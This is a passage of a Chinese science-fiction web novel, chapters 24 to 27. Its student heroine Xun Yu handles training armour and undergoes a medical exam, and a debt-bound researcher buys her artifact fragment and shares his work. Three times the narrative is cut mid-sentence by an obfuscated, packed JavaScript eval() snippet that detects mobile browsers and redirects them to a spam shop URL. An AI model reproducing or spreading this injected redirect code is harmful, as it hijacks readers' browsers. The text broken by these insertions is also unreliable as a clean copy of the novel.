刚刚她没有听错，这个青软甲的质量好像一般，有些零件已经松动了。看着刘思航大幅度的后空翻，荀玉默默为他祈祷，但愿不要出什么事吧。 刘思航翻身伏地，一个鲤鱼打挺重新跃起，肘关节的零件悄悄脱落。一转眼他已经耍起了侧空翻，摩擦声在无人注意间变了声调，腹部的零件摇摇欲坠。刘思航一招“凌波微步”尚未使出，随着清脆的“哗啦”声，青软甲散落一地。 突然“裸身”的刘思航：……？？ 围观的学生：哈？？！ 荀玉：哦，质量果然一般。 听见动静急忙赶来的卫凌丰看见案发现场当即给了刘思航一脚：“你个臭小兔崽子，我怎么和你们说得？！青软甲是非战斗型防护软件，是拿来辅助你们进行前线研究的，不是让你们拿来耍威风的。你有这个能耐怎么不去选拔联邦预备军啊，啊？！” 刘思航被青软甲的散架整懵了，他坐在地上还没来得及爬起来就这么生生挨了一脚，顿时觉得委屈：“我只是想试试青软甲的性能嘛！我也没做什么啊，就这样这样然后那样那样它就散架了。” 说着说着，刘思航来了底气，他梗着脖子不管不顾叫喊道：“我固然有错，但青软甲也要承担一半责任！” “嘿！你还来劲了是吧！”卫凌丰揪着他耳朵，“你有错你还有理了！” 旁边的学生看着一地打了补丁的零件，拿着手中的青软甲犹犹豫豫：“可是……卫老师，这青软甲也太不牢固了吧。” 卫凌丰的大喇叭果断朝向这个学生一顿突突：“你们现在才接触青软甲，是因为它们原先在高年级那里，高年级还等着你们用完赶紧还回去呢。整个星一院只有这么多青软甲，爱用不用！你们要是嫌弃就给学院捐个新的过来，不然就老老实实训练！” 周围的学生见状不妙，迅速散开。荀玉也拿着青软甲老老实实蹲在角落里，看着他们训练。 随着成功链接青软甲的学生越来越多，训练场上挤满了五颜六色的机械人型，迟钝的金属摩擦声此起彼伏，远远看上去甚是滑稽。 几百米开外的教学楼上，两个人趴在窗户上朝训练场张望。 “现在什么情况了？给我看看给我看看！” “别吵！”另一个人趴在望远镜上目不转睛，“快，九点钟方向！荀玉落单了，她果然操纵不了青软甲！摄像机呢？！” “什么？！她真的用不了吗？哦哦！我正在找！” “你都带摄像机了为什么还跟我抢望远镜？哎呀你快点……” 蹲在墙角的荀玉像是感受到了什么，环视四周，除了高耸的教学楼之外，没有任何人影。 奇怪……荀玉抓了抓头发，源感力透支还会出现幻觉吗？ 25. 体检 “呼——荀玉后脑勺也长了双眼吗，这也太敏锐了。” 两个人半蹲在窗户边，小心翼翼探出望远镜向训练场看去。 “没事了没事了，她走了。哎，拍到了吗？” “拍到了，嘿嘿，我拍得构图还挺好看。” “别自恋了，快传给我我也要看看！” “别催别催，我发咱们的组织群里。” …… 荀玉下了课慢吞吞走在路上，她似乎忘了件不是很重要但会要命的事，是……什么来着？ 正想着，荀玉的肩膀被人拍了一下，她下意识向右看去身后却没人，这时左耳边传来若有若无的气流：“荀——荀——” 如羽毛轻抚过痒意攀上荀玉的皮肤，她成功打了个哆嗦。这下她没再分出去半点目光，边走边无语道：“晗晗，这么幼稚的把戏你要玩多久。” 崔晗从她身后轻轻蹦出来，挽上荀玉的胳膊，声音清甜：“那没办法嘛，谁让你总是上当。” “哼。”荀玉不对此发表意见，“你最近在忙什么呢，总是神出鬼没的。” “哈？也没忙什么啊……”崔晗眨眨眼睛，语速慢了一秒又迅速恢复正常，“荀荀你知道的，授课内容越来越难了，文物实操也提上了日程，每天只完成课后任务就要花费相当长的时间。而且最近有个奇怪的人一直盯着我……” “嗯？奇怪的人？” “对啊对啊。”崔晗苦恼地点点头，捏着嗓子模仿他，“他是我们专业的教导主任，总是端着保温杯装作步履匆匆地路过我，然后停下来用无比夸张的语气说：‘小崔同学，又见面了！’，‘你在忙什么？想有什么想法可以和我讲讲吗？’” “荀荀你不知道他强行和蔼可亲的目光有多吓人，害得我每天上课都要绕不同的路走，整天提心吊胆的。” 荀玉自我代入了一下，发现崔晗是挺惨的。可她没有被崔晗带偏，敏锐地抓住了其中的漏洞：“你要是不做贼心虚为什么会整天提心吊胆？” “？！”崔晗身体一紧，磕磕绊绊地说道：“谁，谁做贼心虚了……任，任谁每天被古板又奇怪的老师盯着都会紧张的好不好！” “哦，是吗？”荀玉淡淡瞥了她一眼，语气上扬，摆明了不相信她的言辞。 “当然了！”崔晗为了提高可信度，特别加重了语气，“荀荀你没有身临其境当然体会不到。试想一下，如果徐医生每天早上都拿着注射器坐在床头等你醒来，你难道不会害怕吗？” “你的假设根本不成立，徐医生怎么可能……等等，”荀玉猛地一个急刹，她僵硬地扭头看向崔晗，“晗晗，你刚才说谁？” “徐医生呀。我是专门来提醒荀荀你去体检的哦。”崔晗歪着头朝荀玉甜甜一笑，嘴里说出的话却十分恐怖骇人，“你忘了离开校医院之前她是怎么叮嘱你的了吗？已经过去好几天了，再不去小心徐医生要生气了。” 原来她忘记的是这件事！ 恍惚间徐医生的双手好像捏住了荀玉的肩膀，荀玉心中一凉，当即调头向校医院狂奔。 果然很要命！ “晗晗我先走了！有事回头再说！” 荀玉的身影迅速消失在视线范围内。崔晗骄傲地拍拍手，搞定！ 积极向上的人身体不健康怎么能行呢？ 崔晗打开光脑，在论坛上发布了一条新的评论。 【L876】：“可靠消息，荀玉身体恢复进度，10%，最近不努力的人要小心哦～” 【L877】：“靠！怎么哪哪都有警告人的评论，我累了一天摆一会儿怎么了？！逛个论坛还不让放松。” 【L878】：“看见876心头一慌，可是转念一想，老子踏马刚下课啊，我心虚个什么劲。还有，你凭什么说我不努力？！” 【L879】：“等一下，这个内容……这个语气……发布这种评论的不会一直是同一个人吧？” …… “砰！” 问诊室的门被大大推开，一向寂静无声的走廊回荡着沉重的呼吸声。 徐姿正在办公桌前翻阅资料，她抬头看清来人，不悦地说：“之前不见你着急，现在急什么，赶着投胎吗？” “徐，徐医生，”荀玉扶着门框气喘吁吁，没打完招呼就径直坐在了徐姿对面的椅子上。 不知是不是心理作用，荀玉坐在椅子上浑身都不对劲，仿佛下一秒就会被徐医生扎满注射器。她拍拍上次从徐医生手里存活下来的胳膊，试图从中汲取力量。 下一秒，荀玉深吸一口气，突然站起来，抬头挺胸收腹，双手自然放在大腿两侧，声音洪亮底气十足：“报告徐医生，我最近在谨遵医嘱认认真真调整作息。不节食不熬夜不调用源感力，多运动多吃饭多睡觉。现在吃嘛嘛香，身体倍儿棒，符合一切体检条件。请徐医生指示！” 徐姿被吓了一跳，她上下扫了荀玉一遍，最后视线定格在她大大的黑眼圈上，深觉这个世界着实荒唐的过了头。 徐姿疑惑地问出声：“你觉得我像傻子吗？” 荀玉：“……” “呃，那个……”荀玉双手搓了搓脸，下一秒脸上堆起讨好的笑容，“徐医生，事不宜迟，我们现在就开始吧。争取速战速决，不给在座的各位领导提那麻烦。” 徐姿闻言只是笑了笑，笑得荀玉心里发毛。 学院为学生提供的体检项目一般包括物理检查、部分化学检查和影像学检查，以及源感力水平波动测试。 上次荀玉因源感力透支被送来校医院，只来得及做了其中几项检查。尽管她仅有的几项检查结果均不太正常，但数值也在合理变动范围内，用“营养不良”这类症状完全解释得通。如果徐姿没有注意到荀玉用过的消毒棉颜色不太正常，恐怕也不会多想。 既然决定要体检，徐姿干脆向学校申请了全套体检流程。 在荀玉进第一间屋子前，徐姿友好地提醒她：“接下来的体检项目有点多，流程比较繁琐，你做好心理准备。” 荀玉不懂向来铁面无私的徐医生说出这句话时的分量，她本着“能省则省、敷衍了事”的态度大踏步走进了物理检查室，之后紧接着被安排进了化学检测一室，并在长达三个小时的时间里连续不间断地跟着徐姿在校医院里跑上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14321575|149346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑下，为了检测样本进进出出。 手里的体检凭证越积越多，荀玉做完最后一项体检项目时天已经黑了。她趴在椅子上两眼昏花，几近不省人事。 徐姿拿着体检报告进来，嫌弃地踢了踢荀玉趴着的椅子：“你们这群小孩身体素质真是越来越差了。” 荀玉两只胳膊耷拉在椅子外边，不甘心地为自己正名：“你从学院里随便抓个人来体验一番，三个多小时不累也晕了。徐医生，你真的不是在假公济私吗？” “你当学院的体检项目是想做就做的。”徐姿翻了个大大的白眼，“下次你想做我还不愿意伺候呢，我巴不得校医院永远不开门。” 徐姿快速过了一遍体检报告，眉头越皱越紧。荀玉几乎每项检查结果都处在正常区间的边界值，单拎出一项来看并没有太大问题，但每一项结果都如此问题就有些棘手了。 “身体弄成这个样子，你是吃垃圾长大的吗？” “唔，是啊。”虽然徐医生的语气充满了嘲讽，可荀玉却悲惨地知道她在无意间说出了不容置疑的事实，所以只能诚实地点头。 “你……”徐姿一时语塞。 她知道学院里相当一部分孩子是贫困生，饥饿和疾病伴随着他们长大。这群孩子想方设法进入学院，就为了有朝一日出人头地，改善家中世代贫穷的状况。他们身上往往背负着巨额债务和难以想象的压力，精神面貌与上等星球的孩子大不一样。 她没想到荀玉也是这种情况，甚至还要糟糕，尽管从她的外表看不出来。 太空垃圾这种极易经受太空辐射的东西也是能随便吃的吗？？ “星际宇宙茫茫无边，太空里无数个不起眼的角落会在同一时间发生令人意想不到的无数的事情，况且我也只是其中最不值一提的部分。徐医生你还年轻，不知道很正常，千万不要往心里去。” 联邦阶层固化严重，荀玉已有所体会。医生这么体面的职业，接触它想必也要具备一定的能力和资源。徐医生一看就出身上等星球，不知道也正常。荀玉大方地摆摆手表示理解，她向来心胸宽广，从不计较得失。 听荀玉反过来安慰她，徐姿直接被气笑了。她狠狠敲向荀玉的脑袋：“刚刚是我失言了，我向你道歉。但这不是你可以和我嬉皮笑脸的理由，你的身体什么样子你自己不清楚吗？！” “血检和其它结果暂时没有出来，这段时间你就安安稳稳在学院呆着。一日三餐正常食用，按时休息，源感力什么的你就别想了，听见没有？！” “嗯嗯嗯！”荀玉捂着脑袋不停点头，示意自己非常明白徐医生的意思。 看出荀玉的敷衍之意，徐姿也不再多说，手臂一挥指向门口：“行了，出了结果我再通知你，麻溜走人吧。” “徐医生再见！” 徐姿话音刚落，荀玉已经没影了。 问诊室重新恢复了安静。徐姿坐在桌前，目光紧紧盯着那份体检报告。 ……太空辐射吗？ 她一页一页捻过手里的纸张，表情是从未有过的严肃。 最好不是她想得那样，否则事情就变得麻烦了。 26. 发现 吉本长乐回到阴冷的职工宿舍里，狭小的空间让他有些喘不上气。 距离中级研究员考核就剩两个月的时间了，可他的研究没有任何进展。如果这次考核依旧失败，那他不仅要面对被辞退的风险，还要赔偿天价违约金。 如果他孤身一人倒没什么，反正烂命一条，不大了就去死。可他还有父母……他的父母还在家中等着昂贵的医疗净化仪续命。如果他贸然去死，他的父母不仅会失去最后的生活来源，还要被波特瓦尔执法队找上门要求他父母赔付他自杀的场地费。 从签署《波特瓦尔研究调配书》的那一刻起，不，甚至更早之前，他的命已经由不得他说了算了。 他蜷坐在地上，屋子里传出了痛苦的呜咽声。 …… 吉本长乐是土生土长的波特瓦尔人。他出生在C级星球，父母皆是C星的劳役者，他们没日没夜地暴露在太空环境里对星际航道进行检修，导致身体病变迅速衰老，失去了这个赖以生存的高危职业。 他代替父母领赔偿金的那一天，监工眯起那双浑浊呆滞的眼，如蜈蚣般丑陋的皱纹似要挥动细密的步足从他的脸上一步步爬下来。 吉本长乐打了个寒颤，检修航道里每个劳役者都有着监工的这张脸，包括他的父母。 “3000积分。”监工缓缓开口，粗粝的声音摩擦着人的神经。 “什么？！”吉本长乐惊呼出声，“我父母两个人均从岗位上退休了，劳役合同上不是说因工伤病失去劳动能力，一人补偿4000积分吗，应该一共8000积分才对啊！” “合同？哪来的合同？”监工嗤笑一声，“承包方可从来没承认过他们和你们签过劳什子合同。” “你们这是犯法的！我父母几十年来兢兢业业，工作上从没出过纰漏，一直在履行合同规定的劳役义务。你们拿劳役合同在工地上作威作福，现在需要你们赔钱了你们居然说从来没承认过！” “小伙子，你现在应该操心这个吗？”监工的冷漠和他的暴怒形成鲜明的对比，“你应该操心的是不久以后你父母两个人高昂的医疗费从哪出，怎么出。因太空辐射产生病变，后半辈子可就离不开医疗净化仪了。租用一个医疗净化仪每月要支付5500积分，就算你跟我要到了这笔钱，也只够你父母一个人用。” “下等星球的人命是最不值钱的，你应该庆幸几十年来你父母的工作是所有外出作业中最安全的一种。当然，从结果来说也是最不幸的。趁我对你还有些耐心，我奉劝你立刻拿上这笔钱走人，不要不识好歹。” 从业人员平均寿命56岁、死亡率为75%的星际航道检查作业是最安全的高危职业。C级星球的劳役者沾沾自喜，这是区别于D级星球、他们独有的太空作业！更可笑的是，或许退休劳役者的家人更希望他们死在工地上，这样他们至少会免去一笔死亡场地费。 “我父母的事情我会想办法，不用你操心！现在你只需要按照约定支付我父母8000积分！”吉本长乐怒火中烧，在监工说话之前，他从不知道他父母两个人的后半辈子在他们这群人眼里居然只值3000积分。 足以侵蚀理智的怒火爬上他的心头，但这把火是空心的。没由来的恐惧偷梁换柱，使他的愤怒外强中干。 他站在工地上和监工对峙，周围的劳役者经过又迅速走开，仿佛看不见眼前正在发生的事情。吉本长乐气得直发抖，他多么希望此时此刻有个人能站出来和他同仇敌忾，为所有劳役者讨回公道。但那天人工太阳一落再落，吉本长乐始终孤军奋战。 他慌不择路，对监工破口大骂。他忘了具体说过什么，只记得监工的脸色逐渐阴沉下来，其他劳役者也不敢再从这里经过。 人工太阳彻底落下，吉本长乐两手空空被人赶出了工地。他被人摔在地上，脑袋磕向地上棱角分明的石头。腥红的液体从脸上滑落时，吉本长乐清醒了。 他跑回去跪在地上向监工认错，乞求他原谅他的不知好歹，他愿意承担犯错的一切代价，只希望监工不要扣下他父母的救命钱。 监工似是被他打动了，他摸摸吉本长乐的头，“可怜的孩子，瞧瞧你的脑袋都流血了。” 吉本长乐在监工的掌心仰起沾满鲜血的脸，眼里升起了一丝希望。 最后，他带着2500积分离开了爬满蜈蚣的工地。 “病来如山倒”，吉本长乐的父母一夜之间丧失了半数行动能力。尽管他们就医于非法的黑柏树诊所，但多年来的积蓄很快因此掏空。2500积分轻如鸿毛，起不到任何作用。 “你求我有什么用，医疗净化仪由康城药业垄断定价，联邦政府也无法插手调节，我一个小小的医生只能照价买进。先不说我能不能低价租给你，你们欠我的9000积分什么时候还？”黑柏树医生摘下听诊器，对吉本长乐的哀求视若无睹。 有没有搞错，他开的是非法地下诊所，能用标准医学器具对他们治疗已经算是他有天大的良心了，这群蠢货居然真以为他是来搞慈善的。 好在黑柏树医生对吉本长乐的印象还不错，于是多嘴补充了一句：“医疗净化仪月租5500只是面向普通公民的官方价格，如果你能成为文物研究员，每个月至少会享有1500积分的折扣。” “谢，谢谢你医生！谢谢你！”吉本长乐知道黑柏树医生在给他指出路，连连弯腰感激涕零，由此走上了文物研究的道路。 他天赋尚可，为人老实肯吃苦，家中因父母病变而彻底穷困潦倒，最易被拿捏。一纸《波特瓦尔研究调配书》买走了他一百五十年的时间，享有医疗优惠的兴奋劲过了以后，各种令人窒息的问题接踵而至。 出入城区需要向研究所报备，不经报备超出研究所管辖会遭受处罚；婚姻对象必须是签署调配书的研究员，不在同一个研究所甚至无法经常见面；研究任务必须听从研究所派遣，不能隐瞒研究进度，更不能私下探究其他研究方向；相同级别文物研究员职称分别不能超过三十年、五十年、七十五年，无法在规定时间内获得更高级研究员职称将被研究所解雇，并按当年联邦平均利息全额补偿学院学费，支付五千万积分的失格人才违约金。 距离他成为初级文物研究员到现在，已经刚好三十年了。如果这次中级考核没有通过，那他就会被列入违约名单，他们全家都将会坠入新的地狱。 文物研究员考核分为作品设计与知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329249|149346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识作答两部分内容，根据等级和专业进行不同程度的调整。他作为修复师从事文物研究三十余年，知识作答自然不在话下，难就难在作品设计。他们每天需在研究所待满至少十七个小时，并禁止私下其他学习与研究行为，他根本无法进行完整独立的研究工作。 吉本长乐只能每天拖着疲惫的身躯，从睡眠时间里挤出一些时间查阅文献。这么过了半年多，吉本长乐终于发现了一种关注度低、研究成果较少的文物种类——青-G190-未知。由于现有研究表明其不具备研究价值，对研究所不产生威胁性，吉本长乐才敢大胆决定把它作为研究的重点。 无人研究固然安全，可样本数量实在过于稀少，吉本长乐的研究迟迟没有进展。他不禁怀疑自己：难道这种文物的确没有研究价值？但这又与他“世界上不存在没有价值的文物”观念相违背。 他在两种观点的动摇中，一转眼就坚持了十多年。 吉本长乐一把抹去眼泪，打开光脑进了文物研究商城。 最后一次。今晚还是没有进展的话，他就放下脸面去找所里新来的“小孙”，求他给自己进项目组的机会。 热卖榜单中挂的文物商品相对普遍且价格高昂，不在吉本长乐的选择内。他照例翻了翻最冷门的几个窗口，打算从中碰碰运气。 不是这个，不是这个，这个也不是他要的……难道他真的要和其他人一样，对仗着自己年轻就拿鼻孔看人的“小孙”阿谀奉承？ 吉本长乐心灰意冷，打算就此认命。在退出账号的前一秒，拉踩率最高的【童叟可欺，客服小马从没听说过的“觥纹”残图火热售卖中，快来（不要）看看吧！】映入眼帘。 “等等，这是……？！” 光脑已经退回了系统界面。 吉本长乐忙不迭重新登上文物研究商城，从海量劝退商品中把那个商品扒了出来。 他心跳如擂，将源纹图片放大看了又看。虽然不知道“觥纹”是什么，但这似乎就是他要找的“青-G190-未知”系列的文物样本！ 吉本长乐匆忙在身上擦掉手心的汗，敲上卖家窗口，小心翼翼向对方发出购买申请。 …… 荀玉洗完澡从浴室出来，随手用毛巾抓了抓头发，一个跨步就要上床。 崔晗眼疾手快将她踢了下去。 荀玉倒在地上哀嚎一声：“这是我的床！” “那也不行，除了你的床之外房间里剩下的部分均为公共区域。你的头发还在滴水，这是不卫生的，回去！”崔晗盘坐在荀玉的床上，大有她不吹头发就不能睡觉的架势。 荀玉从地上爬起来重新进了浴室，边吹头发边抱怨：“晗晗你变了，我们一开始认识的时候你根本不是这个样子！” 崔晗不慌不忙拿出藏在身后的光脑，头也不抬地扬声说道：“你身体刚刚碰到地板了，再洗一遍吧！” “哐！” 回应她的是荀玉摔门泄愤的声音。 光脑上编辑好的消息发了出去。 【日月星是晗晗】：“她比我优秀的多，你要是想切磋可以找她，我介绍你们认识哦～” 【堂堂正正做人】：“好。” 27. 出售 经过一番酣畅淋漓的洗浴斗争，荀玉第二次神清气爽踏出浴室，热气腾腾的水汽在她背后铺展仿若无形的千军万马。 荀玉雄赳赳气昂昂阔步走向崔晗，欲报今晚一脚之仇。不等她畅想崔晗在惨败之中如何眼中带泪、羞愤交加、连连求饶，崔晗便早早在被窝中酣然入睡了。 荀玉：“……” 逃避战争的懦夫！ 荀玉报仇未遂，面目狰狞地关上灯，带着急需绽放的怒火和一丝诡异的遗憾回到自己的书桌前。 黑暗中崔晗翻了个身，悄悄松了一口气。 好险，正面冲突什么的，最破坏友好学习的氛围了。 光脑在桌子上搁置太久，入手有些冰凉，识别到荀玉的生物信息，光脑自动弹出自文物研究商城的消息提醒。 【文物研究商城提醒您：亲爱的卖家，您有一条购买申请有待查询。】 荀玉眼睛一亮，兴致冲冲点了进去，小打小闹统统抛在了脑后。 【知足长乐（第十一次初升中备考版）】：“这位友友，你好，请问你的这段源纹出自哪一种文物？” 【乱码新用户】：“你好！这段源纹源于我复原出的觥碎片。” 觥？ 吉本长乐挠挠后脑勺，是这位友友起得名字吗？虽然不是很能理解，倒是……意外符合他对这类文物的想象。 【知足长乐（第十一次初升中备考版）】：“这份觥纹残图你打算出什么价格，咱俩协商一下我直接买走行吗？” 荀玉这下犯难了，文物研究商城除了官方推出的商品之外，卖家自行出售的商品可以选择是否标价。偏偏源纹残图这一类买卖双方基本选择私下交易，导致她并不了解市场价。 【乱码新用户】：“你能出多少？” 简明扼要，不透露底牌，看来是老手，吉本长乐不由得谨慎起来。 【知足长乐（第十一次初升中备考版）】：“友友，源纹残图类价格有高有低。你挂出的商品比较冷门，短时间内不见得会有其他人买。但我急需你的残图来备考，所以我按照以往交易价格再多出一点，8000积分可以吗？” 这话不似作假，荀玉没多犹豫便同意了。 【乱码新用户】：“可以。” 【乱码新用户】：“备考？文物研究院的考核测试吗？” 吉本长乐见对方爽快同意，当即松了一口气。他下意识将对方当成了某个文物大佬，不由自主和对面唠了起来。 【知足长乐（第十一次初升中备考版）】：“是的，两个月后考核测试便开始了。说来惭愧，我作为初级文物研究员三十多却没有足够的研究成果傍身，中级考核迟迟过不了。如果事情进展不顺利，说不定这会是我最后一次参加考试了。被调配书捆绑的青年才俊数不胜数，我本就资质平平，再加上年纪越来越大，我这种人早就被排挤出研究中心了。” 对面说得……是其他几区学院贫困生强制签署的研究调配书？ 文物研究院政策规定，除自主报名考核外，通过结业考核顺利毕业的学生七年观察期届满，可自动成为初级文物研究员。按照联邦最高入学年龄计算，购买者满打满算也才六十几岁，更何况荀玉并不认为对面的人会在获得初级文物研究员职称时耗费这么长时间。而星际人类适工年龄为十五岁至一百六十五岁，正常情况下，对面的人无论如何也沦落不到如此境地。 荀玉想起卫凌丰在飞船上嘲讽的语气，排斥之意显而易见。 所谓研究调配书，究竟规定了些什么？各区政府和联邦又从中扮演了何种角色？ 荀玉这么想着，诚实地问了出来。 另一边守着光脑的吉本长乐看到荀玉的问题微微一愣，对方不是个资深的文物大佬吗，怎么会不知道调配书？难不成文物大佬都不关心世俗的琐事吗？吉本长乐虽然感到奇怪，但还是认认真真回答了荀玉的问题。 【知足长乐（第十一次初升中备考版）】：“事实上五区之中只有三区许可了调配书的存在，克洛蒂亚不屑于靠此发展，星际一区保留了文澜时代之前的社会传统，曾公开说明抵制研究调配书的出现。剩下三区则利用‘除免除学杂费以外，保证签署人与学院其他一切学生同等发展，同等享有高水平生活条件’等优渥的待遇引诱贫困生签署研究调配书，从此成为他们的傀儡。然而这只是最表面最抓人眼球的内容，真正关键的部分通通在调配书的尾页。调配书中对个人未来工作、福利待遇、衣食住行、社交、婚姻以及人身自由等方面做了新的解释，签署人不得违背。” 吉本长乐顺带以自己为例生动形象地阐明了签署调配书的后果，便于荀玉更好地理解。 【知足长乐（第十一次初升中备考版）】：“研究调配书是各区政府自行出台制定的，联邦不表明态度其实算是变相的支持，因为它是最终受益者。” 这个荀玉倒是能理解，人才是流通的。五区各自为政，明面上依然属于联邦管辖。只要联邦的统治维持一天，五区培养的人才终究会有一部纳入联邦麾下，分为联邦所用。 【乱码新用户】：“方便透露一下你的研究进度吗？” 这…… 文物研究成果对个人或研究所来说都是绝密事项，单从研究所对研究员严防死守就能看得出来。对面仅仅是个从未谋面的陌生人，贸然告诉他，吉本长乐十多年的心血很可能就此毁于一旦。 可对面的人很有可能是个隐藏的大佬…… 不管了，吉本长乐心头一横，对面的人不像是有什么企图，他已经没什么好怕得了，赌一把！ 【知足长乐（第十一次初升中备考版）】：“友友，你稍等一会儿。” 不知对面对觥的研究到了哪种地步，荀玉托着下巴思索，如果她能帮得上忙，到时给他一张完整的觥纹图案不知还来不来得及。 某人完成体检任务后，已经完全忘记了和徐医生的“三月之期”。 不一会儿，【知足长乐】甩过来一个超大容量的文件。 【知足长乐（第十一次初升中备考版）】：“文档.DOCX” 【知足长乐（第十一次初升中备考版）】：“这是我全部的研究了，友友你看看。” “！”荀玉大吃一惊，差点咬掉自己的舌头。 文物圈的人都这么相互信任、坦坦荡荡吗？！饶是荀玉不了解星际文物圈的交流文化，也觉得此时的走向有些不太对劲。 号称“光年之外”的最强星网，下载文档时都卡顿了一秒。 加载完毕，一份来自只认识了一晚、从未谋面的初级研究员全部的心血缓缓进入荀玉的视线，一字一句敲上她的心脏。 “《十年踪迹——论对“青-G190-未知”文物的研究和推测》” “‘青-G190-未知’，现存文物数量稀少，市面所见均为残块状与碎片状，流行于古文明早II期至早III前期。” “文物器身或为方形或为椭圆，有足，呈动物状。外形华丽奇异，不失稳重。” “文物流部为兽形颈部，作用于倾酒。” “文物源力呈强度活性，源纹具有内部净化、抚慰精神力、恢复生物体创伤等功能，可适用于青软甲、心理、医疗等行业，并有待探索开发。” “……” “笔者纠错《文物鉴定报刊——6571期G190系列》，该文物极大可能为旧文明盛酒器，断言其只作为饮酒器有失考量。” “笔者纠错《青M系列所知多少》网刊第577页图7，笔者经过多方位对比、考证，尽管两者器物外形刻有相似的兽文，但该图文物确实属于‘青-G190’系列，而不应被判定为青M系列文物。” “笔者纠错文澜一百七十四年、文澜一百九十九年、文澜二百一十九年《文物研究院文物鉴定纲要》、《文物研究院文物详解》等专业书籍，文物源力活性较强，因修复师操作不当，使源 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346814|149346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力暂时隐匿，修复师无法捕捉，因此造成错误的结论。笔者猜测文物源力具有罕见的成长性，该猜测有待证明。但文物无疑具备极高的研究价值，以上书中有关文物的鉴定结论均为错误的。” “……” “此前文物特征不明，不少书中存在明显的错误，笔者不再一一指出。” “因‘青-G190-未知’文物样本过于稀少，笔者无法进行大量实物观察与实验，以上文章内容均基于笔者多年调研与严谨的推断所出。不论事实是否正确，笔者愿承担出具该篇文章的一切职业道德与法律责任。” 吉本长乐的这份文件，足足三百余页。内附其亲手绘制的觥纹残图，前后共计一百多张。 荀玉一一看过去，发现吉本长乐仅凭其中几段源纹走向，基本就能推测出源纹全貌。不过他并未切实接触过觥碎片，源纹始终存在差错，所以从未成功，研究也从这里断开。 除了关键证据不足，这份文件迄今为止，没有错过一个结论。如果不是对方不知道觥的命名，她几乎要以为他们是同时代的人了。 荀玉翻阅的速度越来越快，眼眶微微发热，她清晰地听见耳边的心跳声与光脑中的每一个字不谋而合。 埋没于时空的文物，从文物研究员的世界里破土而出。它们已然拂去了百亿光年的尘埃，用真容再现于世。这份感动来得震天动地，悄无声息，庞大的星际世界在此刻对荀玉发出了邀请。 【知足长乐（第十一次初升中备考版）】：“那个……友友？” 自他发出文件，足足半个小时了，对方一字未回。吉本长乐忐忑起来，难不成对方真是个骗子？万一对方在文物研究员担任什么要职，一旦上报，他甚至活不到天亮。 吉本长乐不由得埋怨自己，小心谨慎了几十年，今晚怎么那么按捺不住呢？ 对面的语气似是有些担忧，荀玉这才反应过来她还没有回复他。 【乱码新用户】：“不好意思，看得太投入了，刚看完。” 【乱码新用户】：“你的研究我很感兴趣，我最近也在研究觥，所以我这里可能有你需要的东西。” 【乱码新用户】：“考核是两个月后开始吗？如果来得及的话，我可以发给你一份完整的觥纹图案。你还缺最关键性的实物证据，正巧我这里有一块复原后的觥碎片，可以直接寄给你。” 【乱码新用户】：“你还有其他问题我可以帮助的吗？” 迟迟不给回应的对方突然轰炸了他几条消息，对方不仅对他的研究表示了肯定，居然还要给他完整的源纹图案和文物碎片！这些可都是千金难求的东西啊！ 喜从天降，吉本长乐被砸得头晕脑胀，心脏几乎都要跳了出来。他又怀疑起对方是个骗子，可他这么做的理由是什么呢？他的命也不值钱啊。 【知足长乐（第十一次初升中备考版）】：“我……没有那么多钱。” 【乱码新用户】：“不收你钱。” 【知足长乐（第十一次初升中备考版）】：“啊……？那那那你图什么？”我的命都卖给波特瓦尔研究所了，真不值钱啊。 【乱码新用户】：“我没骗你，不收你钱，算友情赞助吧，就当你给我看研究成果的回礼。” 几番拉扯下来，吉本长乐发现对方是真的要将文物碎片寄给他。 光脑突然滴落一滴水珠。 吉本长乐抬手一擦脸，操，今晚他怎么一直哭哭啼啼的，这么大年纪了像什么话。 【知足长乐（第十一次初升中备考版）】：“这位友友，谢谢你，真的太谢谢你了！文物碎片我不会白白收下的，等中级考核测试结束了我就把它还给你！” 见对方坚持，荀玉便不再多说。 【乱码新用户】：“行。” 吉本长乐购买了荀玉的商品后，二人又交换了联系方式。 【知足长乐（过过过版！！）】：“咦，友友你居然来自废星？！”